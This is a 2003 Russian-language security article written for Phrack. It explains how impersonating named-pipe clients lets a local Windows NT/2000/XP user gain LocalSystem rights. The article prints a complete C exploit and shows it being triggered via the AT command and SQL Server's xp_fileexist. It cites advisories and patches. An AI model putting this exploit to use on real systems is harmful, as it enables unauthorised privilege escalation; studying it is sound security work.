Информационная безопасность
[RU] switch to English


Digital Scream

август, 2003

[email protected]

Использование именованых каналов для локального повышения привилегий
Для журнала Phrack #61

 Операционные  системы,  созданные  коропорацией  Microsoft  за последние
 несколько  лет, основаны  на ядре  Windows NT. Это решение, положительно
 повлияло на безопасность выпускаемых ОС, относительно удаленных, а также
 локальных атак. Но тем не менее остаются моменты,  позволяющие  получить
 права  системы  на  атакуемом  компьютере. В  основном  это переполнения
 стека,  Heap  области,  а  также  другие  уязвимости,  имеющие  место  в
 операционных  системах  других  производителей.  Но  не стоит забывать о
 ошибках,  которые   могут  возникнуть   в    процессе    непредвиденного
 использования  системных  фукнкий. Такого рода ошибки возникают время от
 времени и специфичны для каждой ОС. Windows не  исключение, что уже было
 не раз доказанно. 

 Специфичесские ошибки,  чаще всего возникают в процессе работы локальных
 пользователей. Это не есть факт,  просто  локальный  пользователь  может
 воспользоваться намного  большим  колличеством  функций, предоставляемых
 Windows, нежели удаленный.  Таким  образом мы утверждаем, что существует
 возможность повышения привилегий локального пользователя,  которой можно
 воспользоватся. Говоря о повышении привилегий, мы имееем ввиду получения
 прав системы, чтобы  не  иметь  никаких  ограничений  вообще.  На данный
 момент существует несколько способов добится желаемого, я в свою очередь
 расскажу о наиболее новом из них.

 Согласно MSDN, чтобы  исполнить приложение от имени чужой учетной записи
 следует   использовать  функции  LogonUser()  и   CreateProcessAsUser().
 LogonUser() требует в качестве параметров логин и пароль учетной записи,
 в правах которой  мы нуждаемся. Задачей  LogonUser()  является установка
 прав доступа  SE_ASSIGNPRIMARYTOKEN_NAME  и  SE_INCREASE_QUOTA_NAME  для
 дескриптора   маркера  пользователя.  Эти  права  нам  необходимы  чтобы
 использовать  функцию  CreateProcessAsUser().  Такими  правами  обладают
 исключительно   системные  процессы,   поэтому    даже   учетная  запись
 'Administrator',  не  может   успешно  выполнить  CreateProcessAsUser().
 Следовательно  чтобы мы смогли исполнить приложение (например cmd.exe) с
 правами системы,  нам  уже  надо  их  иметь. Но поскольку нам не извесны
 логин и пароль привилегиированного пользователя, то требуется найти иное
 решение.

 В данной  статье  пойдет  речь  о получении  привилегий  'LocalSystem' с 
 помощью функции открытия файла.  Дело  в  том,  что  для  открытия файла 
 используется функция CreateFile(). Ее формат следующий: 

  HANDLE CreateFile(
         LPCTSTR               lpFileName, 
         DWORD                 dwDesiredAccess, 
         DWORD                 dwShareMode, 
         LPSECURITY_ATTRIBUTES lpSecurityAttributes, 
         DWORD 		       dwCreationDisposition, 
         DWORD 	               dwFlagsAndAttributes, 
         HANDLE 	       hTemplateFile 
         ); 

 Таким образом, открытие файла происходит следующим образом: 

   HANDLE hFile;
   hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, 
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 Но для тех  кто  хороше знаком с организацией работы Windows, не секрет,
 что данная  функция  имеет  более  широкое  применение в работе ОС. С ее
 помощью  создаются или открываются файлы, директории, физичесские диски,
 коммуникационные  ресурсы,  mailslot'ы  и  pipe'ы.  В  данном случае нас
 интересует только последнее, а именно pipe(канал). 

 Каналы  используются  для  пересылки  данных  в  одном направлении между
 дочерним и родительским процессами или между двумя дочерними процессами.
 Операции чтения/записи в канал похожи на подобные  операции при работе с
 файлами.

 Поименованные Каналы используются для двустороннего обмена данными между
 процессом-сервером и одним  или несколькими  процессами-клиентами. Как и
 анонимные каналы, они используют  файлоподобный интерфейс, но, в отличие
 от первых, пригодны также для обмена данными по сети.

 Процедура создания поименованых каналов имеет такой вид:

   HANDLE hPipe = 0;
   hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                         PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);


 В качестве названия именованого  канала  можно указать любое имя, но при
 этом следует придерживатся определенного формата. Так, вполне приемлемым
 именем будет "\\.\pipe\GetSys". В ОС  Windows  последовательность "\\.\"
 автоматически добавляется к  имени  открываемого  файла. Так при попытке
 открытия  файла "C:\boot.ini"  система  попытается  обратиться  к  файлу
 "\\.\C:\boot.ini".Этот формат также может быть использован при обращении
 к файлам совмесно с UNC стандартом.

 Эти знания  дают  нам  возможность  предполагать,  что  вполне  возможно
 заставить приложение работающее с  пользовательским  файлом, обратится к
 именованному   каналу.   Так,   если   имя   созданного    нами   канала
 "\\.\pipe\GetSys",     то     следует       обращатся       к      файлу
 "\\ComputerName\pipe\GetSys". А это, в свою  очередь,  дает  нам намного
 больше возможностей для манипулирования маркером доступа. 

 impersonation token - маркер доступа, позволяющий захватить информацию о
 правах клиента. Иными словами - это возможность  сервера  исполнить роль
 клиента в системе  безопасности.  Сервером  в  данном  случае  выступает
 именованный канал, по этому  он  может  прадставится  клиентом,  который
 пытался  открыть файл. Это  возможно, поскольку  мы  имеем  относительно
 клиента права SecurityImpersonation, а если быть точнее, то получаем их.
 Если приложение имело системные права в системе, мы получаем возможность
 изменения реестра,  управления  процессами  и  памятью, а  также  другие
 возможности, ограниченные для обычного пользователя.

 Реализовать такую атаку на  практике  достаточно  просто.  При написании
 программы, использующую  данную  уязвимость,  следует  пойти  по  такому
 сценарию:

 [1] Создать именованый канал

       После его создания, следует подождать подключения  клиента. Чтобы
       получить относительно него наивысшиую ступень доверия.

 [2] Представиться клиентом

       Поскольку предполагается,  что  приложение-клиент имеет системные
       права, мы их получаем тоже.

 [3] Получить все необходимые права

       Вообщето нам нужны только:

       - SE_ASSIGNPRIMARYTOKEN_NAME
       - SE_INCREASE_QUOTA_NAME

       - TOKEN_ALL_ACCESS
       - TOKEN_DUBLICATE

       Они необходимы  нам, в  основном,   для    использования  функции
       CreateProcessAsUser().Чтобы получить их, необходимо создать новый
       маркер доступа с правами TOKEN_ALL_ACCESS.Благо мы имеем права на
       выполнение данного действия,поскольку  в уже  получили  системные
       привилегии клиента.

 [4] Исполнить необходимый програмный код

       Это может быть чтение  данных  с  реестра,  установка  HOOK'ов, а
       также исполнение произвольных команд с правами системы.  Я щитаю,
       что наиболее интересным является последнее, поскольку мы получаем
       возможность   исполнения,     уже   готового,   приложения    для
       специфичесских потребностей.

 Как уже говорилось исполнить  приложение,  сохранив  за  ним  привилегии
 системы,  можно   используя   функцию  CreateProcessAsUser().  Мы  снова
 вернулись к началу данного материала, но на этот раз  у нас уже есть все
 необходимые привилегии. Права 'LocalSystem' у нас в руках.

 Относительно  реализации  данного метода повышения привилегий, не должно
 возникнуть никаких  проблем.  Но всеже  мы рассмотрим  конкретный пример
 эксплоита от wirepair(at)sh0dan.org, который в  свою  очередь основан на
 работе maceo(at)dogmile.com.

 #include <stdio.h>
 #include <windows.h>

 int main(int argc, char **argv)
 {
    char szPipe[64];
    DWORD dwNumber = 0;
    DWORD dwType = REG_DWORD;
    DWORD dwSize = sizeof(DWORD);
    DWORD dw = GetLastError();
    HANDLE hToken, hToken2;
    PGENERIC_MAPPING pGeneric;
    SECURITY_ATTRIBUTES sa;
    DWORD dwAccessDesired;
    PACL pACL = NULL;
    PSECURITY_DESCRIPTOR pSD = NULL;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    if (argc != 2) {
           fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
           return 1;
    }
 
    memset(&si,0,sizeof(si));
    sprintf(szPipe, "\\\\.\\pipe\\GetSys");
 
 // create named pipe"\\.\pipe\GetSys"

    HANDLE hPipe = 0;
    hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, 
                     PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
    if (hPipe == INVALID_HANDLE_VALUE) {
     printf ("Failed to create named pipe:\n  %s\n", szPipe);
     return 2;
   }

    printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

 // initialize security descriptor to obtain client application
 // privileges

   pSD = (PSECURITY_DESCRIPTOR) 
                        LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH); 
   InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
   SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); 
   sa.nLength = sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor = pSD;
   sa.bInheritHandle = FALSE;

   printf("Waiting for connection...\n");

 // wait for client connect
   ConnectNamedPipe (hPipe, NULL);

   printf("Impersonate...\n");

 // impersonate client

   if (!ImpersonateNamedPipeClient (hPipe)) {
     printf ("Failed to impersonate the named pipe.\n");
     CloseHandle(hPipe);
     return 3;
   }

   printf("Open Thread Token...\n");

  // obtain maximum rights with TOKEN_ALL_ACCESS

   if (!OpenThreadToken(GetCurrentThread(), 
                                TOKEN_ALL_ACCESS, TRUE, &hToken )) {

             if (hToken != INVALID_HANDLE_VALUE) {
                     printf("GetLastError: %u\n", dw);
                     CloseHandle(hToken);
                     return 4;
		 }
   }
   
   printf("Duplicating Token...\n");

 // obtain TOKEN_DUBLICATE privilege
   if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
        &sa,SecurityImpersonation, 
                TokenPrimary, &hToken2) == 0) {

          printf("error in duplicate token\n");
          printf("GetLastError: %u\n", dw);
          return 5;
   }

 // fill  pGeneric structure
   pGeneric = new GENERIC_MAPPING;
   pGeneric->GenericRead=FILE_GENERIC_READ;
   pGeneric->GenericWrite=FILE_GENERIC_WRITE;
   pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
   pGeneric->GenericAll=FILE_ALL_ACCESS;

   MapGenericMask( &dwAccessDesired, pGeneric );

   dwSize  = 256;
   char szUser[256];
   GetUserName(szUser, &dwSize);

   printf ("Impersonating: %s\n", szUser);
   
   ZeroMemory( &si, sizeof(STARTUPINFO));
   si.cb = sizeof(si);
   si.lpDesktop	        = NULL;
   si.dwFlags	        = STARTF_USESHOWWINDOW;
   si.wShowWindow       = SW_SHOW;

   printf("Creating New Process %s\n", argv[1]);  

 // create new process as user

   if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa, 
        &sa,true, NORMAL_PRIORITY_CLASS | 
                CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
      printf("GetLastError: %d\n", GetLastError());
   }

 // wait process to complete and exit

   WaitForSingleObject(pi.hProcess,INFINITE);
   CloseHandle(hPipe);
  
   return 0;
}

 Данная  уязвимость,  предоставляет  нам  возможность  получить системные
 привилегии на компьютере. Единственное необходимое условие, для успешной
 атаки, это чтобы системный  процесс обратился  к  именному  каналу.  Это
 условие  легко   воссоздать,  используя  сервисы  работающие  с  правами
 системы. Следующий пример продимонстрирует это:

 [shell 1]

 >pipe cmd.exe
 Created Named Pipe: \\.\pipe\GetSys
 Waiting for connection...

 [shell 2]

 >time /T
 18:15

 >at 18:16 /interactive \\ComputerName\pipe\GetSys

 New task added with code 1

 [shell 1]
 Impersonate...
 Open Thread Token...
 Duplicating Token...
 Impersonating: SYSTEM
 Creating New Process cmd.exe

 После чего, запускается  новый  экземпляр  консоли(cmd.exe),  с  правами
 системы. Получается,  что  обычный   пользователь,   может  без  проблем
 получить права системы. Воссоздать подобную ситуацию достаточно просто и
 не должно потребовать от вас большего колличества усилий. Главное, чтобы
 существовал сервис, который  обращается к некоторым файлам. К  сожалению
 коммандой АТ может воспользоватся только администратор, и поэтому она не
 подходит в реальных условиях.

 На  практике,  данная   уязвимость   может    использоваться   локальным
 пользователем, для повышения  привилегий   в   системе  с  установленным
 Microsoft  SQL Server.  Он  запускается  с  правами  системы,  но  может
 использоваться  непривилегиированными  пользователями.  Уязвимость  была
 найдена @stake,  и  связана  с  коммандой  xp_fileexist.  Эта  комманда,
 предназначена  для  проверки существования файла,  а  поэтому  позволяет
 проэксплуатировать  данную  уязвимость.  Сценарий  атаки  очень похож на
 прошлый:

 [shell 1]

 >pipe cmd.exe
 Created Named Pipe: \\.\pipe\GetSys
 Waiting for connection...

 [shell 2]

 >isql -U user
 Password:
 > xp_fileexist '\\ComputerName\pipe\GetSys'
 > go
   File Exists File is a Directory Parent Directory Exists
   ----------- ------------------- -----------------------
             1                   0                       1

 [shell 1]

 Impersonate...
 Open Thread Token...
 Duplicating Token...
 Impersonating: SYSTEM
 Creating New Process cmd.exe

 Но Microsoft уже   выпустила   патч    устраняющий данную  уязвимость  в
 Windows 2000 SP4.  Хотя  все  зависит  от  администратора  системы. Хочу
 заметить,  что    уязвимость   применима   к  ОС  Windows NT/XP/2000.  В
 Windows Server 2003 и Windows 2000  SP4  единственные, не имеющие данной
 уязвимости.
 
 3APA3A  помог  мне  с написанием англоязычного варианта данной статьи, а
 также исправил некоторые неточности. За это ему огромное спасибо.

 [1] Overview of the "Impersonate a Client After Authentication"
 http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

 [2] Exploit by maceo
 http://www.securityfocus.com/archive/1/74523

 [3] Exploit by wirepair
 http://www.securityfocus.com/archive/1/329197

 [4] Named Pipe Filename Local Privilege Escalation
 http://www.atstake.com/research/advisories/2003/a070803-1.txt

 [5] Service Pack 4 for Windows 2000 
 http://download.microsoft.com/download/b/1/a/
	b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= SecurityLevel5 это проект, цель которого анализ различных уязвимостей, а также различных типов атак. Так же мы занимаемся коллективным решением проблем связанных с компьютерной безопасностью. Принять участие в работе проекта, может любой желающий. Для этого необходимы интересные идеи или просто хорошие навыки программирования. Так же на базе SecurityLevel5 создается игра "Security Games". Более подробная информация о работе проекта станет доступной в начале сентября 2003 года. На данный момент, вся информация относительно работы проекта и его членов является конфиденциальной. Если вы желаете принять участие в работе проекта SecurityLevel5, напишите письмо с вашим резюме на почтовый ящик [email protected] с темой "SecurityLevel5 Resume". Для сохранения конфиденциальности передаваемых данных, вы можете воспользоваться публичным PGP ключем. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 8.0.2 mQENBD8vmgUBCADEYjrz+9G3hRzEZF2upNDgAOkaqxC9lbegCCoYT320kC1cLVa5 qVsxCdlUTGmZ55aXMslQkPv/pr2QLg/vGf+r3+cwu39Xs7exwUySqDpELhbRd6E4 OJAFShabLcCUmYum6jdzqCSRR9afB/W3u8qpi3TMQeTGDeS4sHHEI34Qs/Q1zYR8 bWpt0NGmXHlPXEFq6GGUXeQjrHWT+saduR3cvJ0/HI3km++37ZehfF+AOEBY+Mpo JfM/sLKwR/2P0NUX7SV4e4BeFqS2zw6tWF4gCnz5IKmmcbZ2fTxdpOPDjZ6daBdG Pz6Mi0Ky6Dxx6Y4RnAEABWq5w8hNjigm4NJxABEBAAG0LERpZ2l0YWwgU2NyZWFt IDxkaWdpdGFsc2NyZWFtQHJlYWwueGFrZXAucnU+iQEtBBABAgAXBQI/L5oFBwsJ CAcDAgoCGQEFGwMAAAAACgkQ+xRDiMBncxlPzwf9GN5NNP9uhVgGJgfGA7jndt8p i+VYppKTpQD7HFdgcf6jK3UrpywoQicxoOj2PAGhPMYMq8mI7TfUrPIEsRtlqKzY Mwvlw3i6huQId7IW3zke2TwWrs1axMfwc63YHlxuMjAo1GEGBLW/iDoF9jVknzkk QrdSlW28EvNozNcfcU9qmQDzeWaqnk5nnBHhHhGu+rcOLnkudsgShKYXh4iJw36Q gG89jvunMpqo01OKnR4NRNRrlsqtCaUgbloRF2djw75bHQQSydczoCZpXXuR0lOr LHIjXF/ndpK8W2O39eCpXEAdoHd1CVsN5xIyXbg41LBVpi+MmMhrOVVpGuSUZbkB DQQ/L5oGAQgA2cvqFyrlEYKs6qlUqhKhVLMAUG+MaL+c6KvfFVVCECMGHmLIWMSN ijlYI4d3o9T+LfYfGndCIjHqTzQ+VMRD7FvUflXUKFukIzut9fw2eMQTM+MwRCC2 lyf4DZ683PIzdRBax1NMtl82ec1Uu5Ah0SUJFlDxZRuLwQs6zrLgppA50HiOtEY4 MvVte09nxCyNiYVXKLO6DlTljs1vM6s85yaPtA9+8X1aJlArkZ6UlV6ka4SPCx7V IOFXw/Iwy1YKz6pd+8c+AOwbGFTT2+O5YFmcYyumXoAM7kvfR5ChED6VlXB4hDYU ZV48gi8pXwzteFKbYUtJAabUZ8S9q9lJEQARAQABiQEiBBgBAgAMBQI/L5oGBRsM AAAAAAoJEPsUQ4jAZ3MZAqgH/iEoh4jE3oV5FI49WGGz3I6d2R8NNWX6CBXHCY/v 6+JIQfULMJe4M88PINfs8R8DZmqRqXXAl0U2Sgjqr8sH2Tml9q2vGf2SdogMmlCe DQBWtb6/dqDeKaIi5l2hJ1r3QUxaMWOeIvYyirMMug/uJy2wX4BLOO0UJ4rSPiD7 otzRU+a42G/gjHXpiazHbA9sLm7a+EU8fB5uuhNsmVv63c+Kj9D5ceRseDEm140h uaYLckdQZLW3AWhgERVCkaasjpWPfO37dChtY9HQKsQB3yirvWwXXOKYBVU6AsJE ecaKy7AY7cJtjeMsMI1ZRGlJRjZaBqbAGrIpxPKBtrWtDhc= =nlTa -----END PGP PUBLIC KEY BLOCK-----
О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород